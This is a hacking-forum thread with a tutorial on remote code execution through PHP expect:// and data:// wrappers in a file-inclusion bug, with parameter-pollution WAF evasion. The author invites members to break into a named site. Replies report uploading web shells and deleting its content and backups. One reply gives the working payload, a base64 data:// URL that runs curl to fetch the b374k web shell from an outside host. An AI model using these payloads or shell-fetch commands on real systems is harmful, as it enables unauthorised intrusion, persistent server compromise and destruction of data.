

Forum:[Hack Forums](#)

Thread: [\[Antagonism/Infamous\] RCE Through PHP Wrappers](#)

Keeper - July 4, 2013, 1:53 pm

Since I've not seen some of these methods covered around here (except for php://filter and php://input), I decided to put up some material on 'em. Basically, they are more than self-explanatory but I still feel the need to tutorialize the process. First of all, in order to execute anything, you'd need to comply with the following conditions:

- \$_GET parameter
 - Which we'll be passing the payload to
- Version of PHP
 - 4.3+ for expect://
 - 5.2+ for data://
- allow_url_include function enabled
 - In order to inject through the parameter

The expect:// wrapper is not enabled by default as it's an extension from the PECL package (consider it installed for now). The syntax it accepts is:

Code expect://[command]

Consider this small snippet running on the backend:

PHP Code

```
<?php
```

```
include $_GET['page'];
```

```
//..
```

```
?>
```

Now we can pretty much run everything php-valid through it. so take the following URL for instance:

Code <http://example.com/Keeper.php?page=expect://id>

The data:// wrapper bears the same concept. Syntax followed:

Code data://text/plain;base64,[command encoded in base64]

or we can simply:

Code data://text/plain,[command]

We'll take under account that we'll be using the above inclusion of the \$_GET parameter so there be two possible scenarios:

Code

<http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTl4JTl3aWQIM>

jclMjklMOIIM0YIMOU=

Code [http://example.com/Keeper.php?page=data://text/plain,<?system\('id'\);?>](http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>)

In case of a WAF, filtering out code that is after the wrapper as in the last examples, we can use parameter pollution to pass/split our payload into two parts, resulting in both parameters being concatenated and separated by a comma likewise:

Code [http://example.com/Keeper.php?page=data://text/plain&page=<?system\('id'\);?>](http://example.com/Keeper.php?page=data://text/plain&page=<?system('id');?>)

For the HPP part, I have this covered here, won't rephrase it again:

[IDS & WAF Evasion with HTTP Parameter Pollution](#)

As of the content presented in this thread, let's see who will be able to shell

Code <http://gayovich.com.ua/>

[ZeroFreak](#)

[Araragi](#)

[PuzzuS](#)

[MaXoNe](#)

[anonbux0](#)

...

Solutions are to be PMed obviously so as not to spoil it for others. Small and tidy.

MaXoNe - July 4, 2013, 2:26 pm

It is already full of shells lol.

Good tut btw :)

Zhen. - July 4, 2013, 2:30 pm

Gotta love them wrappers. <3

Pretty neat write-up and a great test example in relation to the tutorial. ?

urez - July 4, 2013, 2:39 pm

LMFAO looks like your site got hacked?

<http://keeperax.netai.net/>

Edit: The song is actually catchy.. still playing

Nyckel - July 4, 2013, 2:44 pm

<http://gayovich.com.ua/araragi.txt>

Yeah I can ddos... so what.

Keeper - July 4, 2013, 2:44 pm

(Jul 4, 2013 02:39 PM)urez Wrote: [\[CITE\]](#) LMFAO looks like your site got hacked?

<http://keeperax.netai.net/>

I had a page for my services as the index and since it never worked I couldn't just put blank dark-gray background.

urez - July 4, 2013, 2:46 pm

(Jul 4, 2013 02:44 PM)Keeper Wrote: [\[CITE\]](#) I had a page for my services as the index and since it never worked I couldn't just put blank dark-gray background. Shame, I went there to buy one of your

services and I see that :C

MaXoNe - July 4, 2013, 3:02 pm

<http://gayovich.com.ua/maxone>

<http://gayovich.com.ua/maxone>

Dyme???????????? - July 4, 2013, 4:46 pm

<http://gayovich.com.ua/instinct>

<http://gayovich.com.ua/instinct>

someone was funny and deleted everything.

DpzFAsq4UEK8 - July 10, 2013, 12:58 am

Thanks for lesson.

Apple J4ck. - July 10, 2013, 1:56 am

Nice tutorial, thanks for the challenge.

<http://gayovich.com.ua/AppleJ4ck.txt>

VipVince - July 10, 2013, 4:49 am

Just seen this and site is fucked, boner killer!

DpzFAsq4UEK8 - July 10, 2013, 4:51 am

(Jul 10, 2013 04:49 AM)VipVince Wrote: [\[CITE\]](#) Just seen this and site is fucked, boner killer!

Sorry for fucking up the site.

Backups are removed too.

VipVince - July 10, 2013, 5:10 am

Out of curiosity what was the solution since the site is completely fucked now?

Something like PHP Code

```
<?php
```

```
http:
```

```
//example.com/Keeper.php?page=data://text/plain&page=<?system('wget"www.someserver/shellph  
p -o egg.php");?>
```

Perhaps base64 encoded?

DpzFAsq4UEK8 - July 10, 2013, 5:12 am

I base64 encoded this:

```
Code <?system('curl http://b374k-shell.googlecode.com/files/b374k-2.5.php >>  
shellnamehere.php');?>
```

Exusia - July 10, 2013, 5:23 am

edit- just saw i posted the same thing

DpzFAsq4UEK8 - July 10, 2013, 5:25 am

It was this: Code

```
http://gayovich.com.ua/index2.php?link=data://text/plain;base64,PD9zeXN0ZW0oJ2N1cmwgaHR0c  
DovL2IzNzRrLXNoZWxsLmdvb2dsZWNVZGUuY29tL2Z%E2%80%8BbpbGVzL2IzNzRrLTluNS5waH  
AgPj4ganVzdG9uZWZpeC5waHAnKTs/Pg==
```

Keeper - July 10, 2013, 6:13 am

(Jul 10, 2013 05:10 AM)VipVince Wrote: [\[CITE\]](#) Out of curiosity what was the solution since the site is completely fucked now?

Something like PHP Code

```
<?php
```

```
http:
```

```
//example.com/Keeper.php?page=data://text/plain&page=<?system('wget"www.someserver/shellph  
p -o egg.php");?>
```

Perhaps base64 encoded?

There is no need for parameter pollution in this case.

balaghacking - January 5, 2017, 7:36 pm

Dear bro,

I want your php challenge source code. and i would like to join with you. please take me. pm me
your fb i want to discuss more bro i hope you